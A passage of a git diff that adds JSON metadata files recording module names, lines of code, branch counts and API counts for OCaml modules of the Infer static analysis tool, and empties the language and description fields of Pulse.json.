"ISequence", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 10, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IStd.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IStd.json new file mode 100644 index 0000000..20886ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IStd.json @@ -0,0 +1,13 @@ +{ + "name": "IStd", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 39, + "branches": 4, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IString.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IString.json new file mode 100644 index 0000000..252d578 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IString.json @@ -0,0 +1,13 @@ +{ + "name": "IString", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 15, + "branches": 0, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISys.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISys.json new file mode 100644 index 0000000..c8f9a34 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISys.json @@ -0,0 +1,13 @@ +{ + "name": "ISys", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 26, + "branches": 5, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IUnix.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IUnix.json new file mode 100644 index 0000000..82d37f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IUnix.json @@ -0,0 +1,13 @@ +{ + "name": "IUnix", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 144, + "branches": 17, + "apis": 54, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ImperativeUnionFind.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ImperativeUnionFind.json new file mode 100644 index 0000000..a5205c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ImperativeUnionFind.json @@ -0,0 +1,13 @@ +{ + "name": "ImperativeUnionFind", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 112, + "branches": 9, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PartialOrder.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PartialOrder.json new file mode 100644 index 0000000..82e5362 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PartialOrder.json @@ -0,0 +1,13 @@ +{ + "name": "PartialOrder", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 53, + "branches": 6, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PhysEqual.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PhysEqual.json new file mode 100644 index 0000000..cf57ecd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PhysEqual.json @@ -0,0 +1,13 @@ +{ + "name": "PhysEqual", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 24, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PolyVariantEqual.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PolyVariantEqual.json new file mode 100644 index 0000000..58f6d23 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PolyVariantEqual.json @@ -0,0 +1,13 @@ +{ + "name": "PolyVariantEqual", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 9, + "branches": 0, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/Pp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/Pp.json new file mode 100644 index 0000000..9eeace3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/Pp.json @@ -0,0 +1,13 @@ +{ + "name": "Pp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 165, + "branches": 19, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PrettyPrintable.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PrettyPrintable.json new file mode 100644 index 0000000..2eab07e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/PrettyPrintable.json @@ -0,0 +1,13 @@ +{ + "name": "PrettyPrintable", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 305, + "branches": 11, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/RecencyMap.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/RecencyMap.json new file mode 100644 index 0000000..cc8bdbe --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/RecencyMap.json @@ -0,0 +1,13 @@ +{ + "name": "RecencyMap", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 211, + "branches": 28, + "apis": 63, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/RevList.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/RevList.json new file mode 100644 index 0000000..d7cc4d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/RevList.json @@ -0,0 +1,13 @@ +{ + "name": "RevList", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 25, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/SafeLazy.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/SafeLazy.json new file mode 100644 index 0000000..7c189c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/SafeLazy.json @@ -0,0 +1,13 @@ +{ + "name": "SafeLazy", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 40, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/SpecialChars.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/SpecialChars.json new file mode 100644 index 0000000..9b1d5ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/SpecialChars.json @@ -0,0 +1,13 @@ +{ + "name": "SpecialChars", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 30, + "branches": 9, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/UnionFind.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/UnionFind.json new file mode 100644 index 0000000..fcd65d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/UnionFind.json @@ -0,0 +1,13 @@ +{ + "name": "UnionFind", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 191, + "branches": 18, + "apis": 55, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/JavaFrontendStubs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/JavaFrontendStubs.json new file mode 100644 index 0000000..a9368e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/JavaFrontendStubs.json @@ -0,0 +1,13 @@ +{ + "name": "JavaFrontendStubs", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jAnnotation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jAnnotation.json new file mode 100644 index 0000000..9f3065b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "jAnnotation", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 86, + "branches": 6, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jClasspath.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jClasspath.json new file mode 100644 index 0000000..6c749ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jClasspath.json @@ -0,0 +1,13 @@ +{ + "name": "jClasspath", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 226, + "branches": 29, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jContext.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jContext.json new file mode 100644 index 0000000..fd7b19d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jContext.json @@ -0,0 +1,13 @@ +{ + "name": "jContext", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 64, + "branches": 7, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jFrontend.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jFrontend.json new file mode 100644 index 0000000..505e681 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jFrontend.json @@ -0,0 +1,13 @@ +{ + "name": "jFrontend", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 193, + "branches": 28, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jMain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jMain.json new file mode 100644 index 0000000..792c1ce --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jMain.json @@ -0,0 +1,13 @@ +{ + "name": "jMain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 113, + "branches": 12, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jProgramDesc.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jProgramDesc.json new file mode 100644 index 0000000..e76454d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jProgramDesc.json @@ -0,0 +1,13 @@ +{ + "name": "jProgramDesc", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 99, + "branches": 13, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jSourceAST.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jSourceAST.json new file mode 100644 index 0000000..5a2760f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jSourceAST.json @@ -0,0 +1,13 @@ +{ + "name": "jSourceAST", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 32, + "branches": 1, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jSourceLocations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jSourceLocations.json new file mode 100644 index 0000000..2f819a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jSourceLocations.json @@ -0,0 +1,13 @@ +{ + "name": "jSourceLocations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 52, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTrans.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTrans.json new file mode 100644 index 0000000..648aa6a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTrans.json @@ -0,0 +1,13 @@ +{ + "name": "jTrans", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1104, + "branches": 88, + "apis": 231, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTransExn.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTransExn.json new file mode 100644 index 0000000..999885a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTransExn.json @@ -0,0 +1,13 @@ +{ + "name": "jTransExn", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 173, + "branches": 10, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTransType.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTransType.json new file mode 100644 index 0000000..0bf783d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/java/jTransType.json @@ -0,0 +1,13 @@ +{ + "name": "jTransType", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 309, + "branches": 33, + "apis": 70, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/labs/ResourceLeakDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/labs/ResourceLeakDomain.json new file mode 100644 index 0000000..5a37253 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/labs/ResourceLeakDomain.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceLeakDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 15, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/labs/ResourceLeaks.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/labs/ResourceLeaks.json new file mode 100644 index 0000000..3b1e012 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/labs/ResourceLeaks.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceLeaks", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 77, + "branches": 11, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2Textual.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2Textual.json new file mode 100644 index 0000000..f49d1b5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2Textual.json @@ -0,0 +1,13 @@ +{ + "name": "Llair2Textual", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 758, + "branches": 68, + "apis": 139, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2TextualProcState.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2TextualProcState.json new file mode 100644 index 0000000..7026498 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2TextualProcState.json @@ -0,0 +1,13 @@ +{ + "name": "Llair2TextualProcState", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 62, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2TextualType.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2TextualType.json new file mode 100644 index 0000000..b08f4e8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/Llair2TextualType.json @@ -0,0 +1,13 @@ +{ + "name": "Llair2TextualType", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 141, + "branches": 9, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/LlvmFrontend.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/LlvmFrontend.json new file mode 100644 index 0000000..0d2b6de --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/LlvmFrontend.json @@ -0,0 +1,13 @@ +{ + "name": "LlvmFrontend", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 104, + "branches": 11, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/StdUtils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/StdUtils.json new file mode 100644 index 0000000..75eb88e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/llvm/StdUtils.json @@ -0,0 +1,13 @@ +{ + "name": "StdUtils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 9, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbCostModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbCostModels.json new file mode 100644 index 0000000..00a5002 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbCostModels.json @@ -0,0 +1,13 @@ +{ + "name": "FbCostModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 9, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbGKInteraction.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbGKInteraction.json new file mode 100644 index 0000000..f42a693 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbGKInteraction.json @@ -0,0 +1,13 @@ +{ + "name": "FbGKInteraction", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 14, + "branches": 1, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbInternalLinks.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbInternalLinks.json new file mode 100644 index 0000000..9002e75 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbInternalLinks.json @@ -0,0 +1,13 @@ +{ + "name": "FbInternalLinks", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 7, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbPulseConfigName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbPulseConfigName.json new file mode 100644 index 0000000..f4b6dea --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbPulseConfigName.json @@ -0,0 +1,13 @@ +{ + "name": "FbPulseConfigName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 11, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbPulseModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbPulseModels.json new file mode 100644 index 0000000..75e7783 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbPulseModels.json @@ -0,0 +1,13 @@ +{ + "name": "FbPulseModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 7, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbThreadSafety.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbThreadSafety.json new file mode 100644 index 0000000..a655093 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/FbThreadSafety.json @@ -0,0 +1,13 @@ +{ + "name": "FbThreadSafety", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 8, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/Scribe.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/Scribe.json new file mode 100644 index 0000000..b6356f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/opensource/Scribe.json @@ -0,0 +1,13 @@ +{ + "name": "Scribe", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 8, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json index 68fef5b..1f7a3f4 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json @@ -1,12 +1,7 @@ { "name": "Pulse", - "language": [ - "clang", - "java", - "erlang", - "hack" - ], - "description": "General-purpose memory and value analysis engine.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbductiveDecompiler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbductiveDecompiler.json new file mode 100644 index 0000000..8e04ad4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbductiveDecompiler.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAbductiveDecompiler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbductiveDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbductiveDomain.json new file mode 100644 index 0000000..02d3e59 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbductiveDomain.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAbductiveDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 2200, + "branches": 175, + "apis": 549, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbstractValue.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbstractValue.json new file mode 100644 index 0000000..35190fa --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAbstractValue.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAbstractValue", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 43, + "branches": 5, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAccess.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAccess.json new file mode 100644 index 0000000..f0e47a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAccess.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAccess", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 55, + "branches": 4, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAccessResult.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAccessResult.json new file mode 100644 index 0000000..7f9b310 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAccessResult.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAccessResult", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 74, + "branches": 7, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseArithmetic.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseArithmetic.json new file mode 100644 index 0000000..f52e710 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseArithmetic.json @@ -0,0 +1,13 @@ +{ + "name": "PulseArithmetic", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 101, + "branches": 0, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAttribute.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAttribute.json new file mode 100644 index 0000000..cfd61aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAttribute.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAttribute", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 915, + "branches": 95, + "apis": 132, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAutofix.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAutofix.json new file mode 100644 index 0000000..ede9f64 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseAutofix.json @@ -0,0 +1,13 @@ +{ + "name": "PulseAutofix", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 134, + "branches": 19, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseAddressAttributes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseAddressAttributes.json new file mode 100644 index 0000000..cca345b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseAddressAttributes.json @@ -0,0 +1,13 @@ +{ + "name": "PulseBaseAddressAttributes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 342, + "branches": 27, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseDomain.json new file mode 100644 index 0000000..9f8e7de --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseDomain.json @@ -0,0 +1,13 @@ +{ + "name": "PulseBaseDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 53, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseMemory.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/PulseBaseMemory.json new file mode 100644 index 0000000..05fafcb --- 